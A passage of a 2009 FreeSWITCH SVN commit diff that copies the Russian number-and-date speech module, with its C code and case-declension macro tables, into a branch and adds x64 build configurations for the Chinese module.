+			} else if (((seconds%10>1)&&(seconds%10<5))&&((seconds<12)||(seconds>14))) {
+				say_file("time/seconds-i.wav"); // секуны
+			} else {
+				say_file("time/seconds.wav"); //секунд
+			}
+		}
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	if ((t = atol(tosay)) > 0) {
+		target = switch_time_make(t, 0);
+		target_now = switch_micro_time_now();
+	} else {
+		target = switch_micro_time_now();
+		target_now = switch_micro_time_now();
+	}
+
+	if (tz) {
+		int check = atoi(tz);
+		if (check) {
+			switch_time_exp_tz(&tm, target, check);
+			switch_time_exp_tz(&tm_now, target_now, check);
+		} else {
+			switch_time_exp_tz_name(tz, &tm, target);
+			switch_time_exp_tz_name(tz, &tm_now, target_now);
+		}
+	} else {
+		switch_time_exp_lt(&tm, target);
+		switch_time_exp_lt(&tm_now, target_now);
+	}
+
+	switch (type) {
+		case SST_CURRENT_DATE_TIME:
+			say_date = say_time = 1;
+			break;
+		case SST_CURRENT_DATE:
+			say_date = 1;
+			break;
+		case SST_CURRENT_TIME:
+			say_time = 1;
+			break;
+		case SST_SHORT_DATE_TIME:
+			say_time = 1;
+			if (tm.tm_year != tm_now.tm_year) {
+				say_date = 1;
+				break;
+			}
+			if (tm.tm_yday == tm_now.tm_yday) {
+				say_today = 1;
+				break;
+			}
+			if (tm.tm_yday == tm_now.tm_yday - 1) {
+				say_yesterday = 1;
+				break;
+			}
+			if (tm.tm_yday >= tm_now.tm_yday - 5) {
+				say_dow = 1;
+				break;
+			}
+			if (tm.tm_mon != tm_now.tm_mon) {
+				say_month = say_day = say_dow = 1;
+				break;
+			}
+
+			say_month = say_day = say_dow = 1;
+
+			break;
+		default:
+			break;
+	}
+
+	if (say_today) {
+		say_file("time/today.wav");
+	}
+	if (say_yesterday) {
+		say_file("time/yesterday.wav");
+	}
+	if (say_dow) {
+		say_file("time/day-%d.wav", tm.tm_wday);
+	}
+	if (say_date) {
+		say_year = say_month = say_day = say_dow = 1;
+		say_today = say_yesterday = 0;
+	}
+	if (say_day) {
+		switch_snprintf(buf, sizeof(buf), "%u", (unsigned)tm.tm_mday);
+		ru_say_count(session,buf ,male_h,genitivus,args);
+	}
+	if (say_month) {
+		say_file("time/mon-%d.wav", tm.tm_mon);
+	}
+	if (say_year) {
+		switch_snprintf(buf, sizeof(buf), "%u", (unsigned)(tm.tm_year + 1900));
+		ru_say_count(session,buf ,male_h,genitivus,args);
+		say_file("time/h-year.wav");
+	}
+	if (say_month||say_year||say_date||say_dow)
+	{
+		say_file("time/at.wav");
+	}
+	if (say_time) {
+		switch_snprintf(buf, sizeof(buf), "%d:%d:%d",tm.tm_hour+1,tm.tm_min,tm.tm_sec);
+		ru_say_time(session, buf, SST_TIME_MEASUREMENT, method, args);
+	}
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t ru_ip(switch_core_session_t *session, char *tosay, switch_say_type_t type, switch_say_method_t method,
+							 switch_input_args_t *args)
+{
+	char *a, *b, *c, *d;
+	if (!(a = switch_core_session_strdup(session, tosay))) {
+		return SWITCH_STATUS_FALSE;
+	}
+
+	if (!(b = strchr(a, '.'))) {
+		return SWITCH_STATUS_FALSE;
+	}
+
+	*b++ = '\0';
+
+	if (!(c = strchr(b, '.'))) {
+		return SWITCH_STATUS_FALSE;
+	}
+
+	*c++ = '\0';
+
+	if (!(d = strchr(c, '.'))) {
+		return SWITCH_STATUS_FALSE;
+	}
+
+	*d++ = '\0';
+
+	ru_say_count(session,a ,male_c,nominativus,args);
+	say_file("digits/dot.wav");
+
+	ru_say_count(session,b ,male_c,nominativus,args);
+	say_file("digits/dot.wav");
+
+	ru_say_count(session,c ,male_c,nominativus,args);
+	say_file("digits/dot.wav");
+
+	ru_say_count(session,d ,male_c,nominativus,args);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t ru_say(switch_core_session_t *session, char *tosay, switch_say_type_t type, switch_say_method_t method, switch_input_args_t *args)
+{
+	switch_say_callback_t say_cb = NULL;
+
+	switch (type) {
+			case SST_NUMBER:
+			case SST_ITEMS:
+			case SST_PERSONS:
+			case SST_MESSAGES:
+				say_cb = ru_say_general_count;
+				break;
+			case SST_TIME_MEASUREMENT:
+				say_cb = ru_say_time;
+				break;
+
+			case SST_CURRENT_DATE:
+				say_cb = ru_say_time;
+				break;
+
+			case SST_CURRENT_TIME:
+				say_cb = ru_say_time;
+				break;
+
+			case SST_CURRENT_DATE_TIME:
+				say_cb = ru_say_time;
+				break;
+			case SST_IP_ADDRESS:
+				say_cb = ru_ip;
+				break;
+			case SST_NAME_SPELLED:
+			case SST_NAME_PHONETIC:
+				say_cb = ru_spell;
+				break;
+			case SST_CURRENCY:
+				say_cb = ru_say_money;
+				break;
+			default:
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unknown Say type=[%d]\n", type);
+				break;
+	}
+
+	if (say_cb) {
+		return say_cb(session, tosay, type, method, args);
+	}
+
+	return SWITCH_STATUS_FALSE;
+}
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_say_ru_load)
+{
+	switch_say_interface_t *say_interface;
+	/* connect my internal structure to the blank pointer passed to me */
+	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
+	say_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_SAY_INTERFACE);
+	say_interface->interface_name = "ru";
+	say_interface->say_function = ru_say;
+
+	/* indicate that the module should continue to be loaded */
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4:
+ */

Deleted: freeswitch/branches/seven/src/mod/say/mod_say_ru/mod_say_ru.h

Copied: freeswitch/branches/seven/src/mod/say/mod_say_ru/mod_say_ru.h (from rev 14471, freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.h) (0 => 14472)


--- freeswitch/branches/seven/src/mod/say/mod_say_ru/mod_say_ru.h	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/say/mod_say_ru/mod_say_ru.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,591 @@
+/* Contributor(s):
+ *
+ * Boris Buklov (BBV) <buklov@mail.ru>
+ *
+ * mod_say_ru.c -- Say for Russian
+ *
+ */
+         
+
+//слишком много падежей поэтому пришлось сделать массив значений
+//пример таблицы склонений для 1 ниже по ссылкам
+//http://ru.wiktionary.org/wiki/%D0%BE%D0%B4%D0%B8%D0%BD
+//http://ru.wiktionary.org/wiki/%D0%BF%D0%B5%D1%80%D0%B2%D1%8B%D0%B9
+
+typedef enum {
+    million,
+    thousand,
+    zero,
+    empty       
+} unit_t;
+
+//тип числа порядковое или количественное
+typedef enum{
+    nominativus,        // именительный Кто? Что?
+    genitivus,          // Родительный  Кого? Чего?
+    dativus,            // дательный    Кого? Что?
+    accusativus_a,      // Винительный  Кого? animate - одушевлённый
+    accusativus_i,      // Винительный  Что?  inanimate - неодушевлённый
+    instrumentalis,     // Творительный Кем? Чем?
+    prepositive         // Предложный   О ком? О чём?
+} casus_t;
+                            
+
+typedef enum {
+   //количественный
+    male_c,       //мужского пола
+    it_c,         //среднего
+    female_c,     //женского
+    plural_c,     //множественное число
+    //порядковый
+    male_h,       //порядковое мужского пола
+    it_h,         //порядковое среднего
+    female_h,     //порядковое женского
+    plural_h      //порядковое множественное число
+} say_type_t;
+                    
+
+
+struct say_t{
+    char *num[8];
+    char *thousand[14];
+    char *million[14];
+    int all;
+};
+
+
+//именительный 
+//именительный количественный/числительное
+
+//мужской род родительный падеж
+
+//первая строка описывае как произносить цифры от 0 до 5 потом пристаставка и окончания для остальных
+// тоже самое для тысяч и миллионов, только ещё с произношением тысяч и миллионов в вонце так же окончание для цифр
+// как произносить тысячи и миллионы берёт с цифры 5
+
+#define m_00 {\
+	{"0","1","2","3","4","5","",""},\
+	{"","","1f","thousand","2f","thousands-i","3","thousands-i","4","thousands-i","5","thousands","",""},\
+	{"","","1","million","2","million-a","3","million-a","4","million-a","5","millions","",""},\
+	0,\
+}\
+//средний род именительный падеж
+#define m_01 {\
+	{"0","1n","2","3","4","5","",""},\
+	{"","","1f","thousand","2f","thousands-i","3","thousands-i","4","thousands-i","5","thousands","",""},\
+	{"","","","million","2","million-a","3","million-a","4","million-a","5","millions","",""},\
+	0,\
+}\
+
+//женский
+#define m_02 {\
+	{"0","1f","2f","3","4","5","",""},\
+	{"","","1f","thousand","2f","thousands-i","3","thousands-i","4","thousands-i","5","thousands","",""},\
+	{"","","1","million","2","million-a","3","million-a","4","million-a","5","millions","",""},\
+	0,\
+}\
+
+//множественное число
+#define m_03 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//порядковый
+//мужской
+#define m_04 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//средний
+#define m_05 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//женский
+#define m_06 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//множественное число
+#define m_07 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+
+
+//Родительный  Кого? Чего?
+//количественный/числительное
+//мужской
+#define m_10 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//средний
+#define m_11 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//женский
+#define m_12 {\
+	{"0","h-1xx","h-2xx","h-3xx","h-4xx","h-5xx","h-","xx"},\
+	{"","","1xx","thousands-i","h-2xx","thousands","h-3xx","thousands","h-4xx","thousands","h-5xx","thousands","h-","xx"},\
+	{"","","1x","million-a","h-2xx","millions","h-3xx","millions","h-4xx","millions","h-5xx","millions","h-","xx"},\
+	0,\
+}\
+
+//множественное число
+#define m_13 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//порядковый
+//мужской
+//родительный
+#define m_14 {\
+	{"h-0x","h-1x","h-2x","h-3x","h-4x","h-5x","h-","x"},\
+	{"","","","h-thousandx","h-2xx","h-thousandx","h-3xx","h-thousandx","h-4xx","h-thousandx","h-5xx","h-thousandx","h-","xx"},\
+	{"","","","h-millionx","h-2xx","h-millionx","h-3xx","h-millionx","h-4xx","h-millionx","h-5xx","h-millionx","h-","xx"},\
+	0,\
+}\
+//средний
+#define m_15 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//женский
+#define m_16 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//множественное число
+#define m_17 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+
+
+//дательный    Кого? Что? 
+//количественный/числительное
+//мужской
+#define m_20 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//средний
+#define m_21 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//женский
+#define m_22 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//множественное число
+#define m_23 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//порядковый
+//мужской
+#define m_24 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//средний
+#define m_25 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//женский
+#define m_26 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//множественное число
+#define m_27 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+
+
+//Винительный  Кого? animate - одушевлённый 
+//количественный/числительное
+//мужской
+#define m_30 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//средний
+#define m_31 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//женский
+#define m_32 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//множественное число
+#define m_33 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//порядковый
+//мужской
+#define m_34 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//средний
+#define m_35 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//женский
+#define m_36 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//множественное число
+#define m_37 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+
+
+//Винительный  Что?  inanimate - неодушевлённый 
+//количественный/числительное
+//мужской
+#define m_40 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//средний
+#define m_41 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//женский
+#define m_42 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//множественное число
+#define m_43 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//порядковый
+//мужской
+#define m_44 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//средний
+#define m_45 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//женский
+#define m_46 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//множественное число
+#define m_47 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+
+
+//Творительный Кем? Чем? 
+//количественный/числительное
+//мужской
+#define m_50 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//средний
+#define m_51 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//женский
+#define m_52 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//множественное число
+#define m_53 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//порядковый
+//мужской
+#define m_54 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//средний
+#define m_55 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//женский
+#define m_56 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//множественное число
+#define m_57 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+
+
+//Предложный   О ком? О чём? 
+//количественный/числительное
+//мужской
+#define m_60 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//средний
+#define m_61 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//женский
+#define m_62 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//множественное число
+#define m_63 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//порядковый
+//мужской
+#define m_64 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//средний
+#define m_65 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//женский
+#define m_66 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//множественное число
+#define m_67 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+
+
+//именительный 
+//именительный количественный/числительное
+//мужской
+#define m_60 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//средний
+#define m_61 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//женский
+#define m_62 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//множественное число
+#define m_63 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//порядковый
+//мужской
+#define m_64 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//средний
+#define m_65 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+//женский
+#define m_66 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+//множественное число
+#define m_67 {\
+	{"","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	{"","","","","","","","","","","","","",""},\
+	0,\
+}\
+
+
+

Deleted: freeswitch/branches/seven/src/mod/say/mod_say_ru/mod_say_ru.vcproj

Copied: freeswitch/branches/seven/src/mod/say/mod_say_ru/mod_say_ru.vcproj (from rev 14471, freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.vcproj) (0 => 14472)


--- freeswitch/branches/seven/src/mod/say/mod_say_ru/mod_say_ru.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/say/mod_say_ru/mod_say_ru.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,153 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mod_say_ru"
+	ProjectGUID="{AEE5D1F8-3386-4CB2-A336-0125C4C7EAEE}"
+	RootNamespace="mod_say_ru"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<File
+			RelativePath=".\mod_say_ru.c"
+			>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Property changes: freeswitch/branches/seven/src/mod/say/mod_say_zh


Name: svn:ignore
   - Debug
*.pdb
*.user
Release
   + Debug
*.pdb
*.user
Release
Win32
x64
Makefile

Modified: freeswitch/branches/seven/src/mod/say/mod_say_zh/mod_say_zh.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/say/mod_say_zh/mod_say_zh.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/say/mod_say_zh/mod_say_zh.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/say/mod_say_zh/mod_say_zh.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/say/mod_say_zh/mod_say_zh.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/say/mod_say_zh/mod_say_zh.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -31,13 +31,13 @@
  * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * PeteDao <petekay@gmail.com>
  * Steve Underwood 0.0.1 <steveu@coppice.org>
  * 
@@ -367,7 +367,7 @@
 			}
 		} else {
 			if ((seconds = atoi(tosay)) <= 0) {
-				seconds = (int64_t) switch_timestamp(NULL);
+				seconds = (int64_t) switch_epoch_time_now(NULL);
 			}
 
 			if (seconds >= 60) {
@@ -425,7 +425,7 @@
 	if ((t = atoi(tosay)) > 0)
 		target = switch_time_make(t, 0);
 	else
-		target = switch_timestamp_now();
+		target = switch_micro_time_now();
 	switch_time_exp_lt(&tm, target);
 
 	switch (type) {
@@ -455,7 +455,7 @@
 #if 0
         tm = *localtime(&then);
 
-        this_morning = switch_timestamp_now();
+        this_morning = switch_micro_time_now();
     	switch_time_exp_lt(&tm2, this_morning);
         tm2->tm_hour = 0;
         tm2->tm_min = 0;

Property changes: freeswitch/branches/seven/src/mod/xml_int/mod_xml_cdr


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/xml_int/mod_xml_cdr/mod_xml_cdr.2008.vcproj (14471 => 14472)


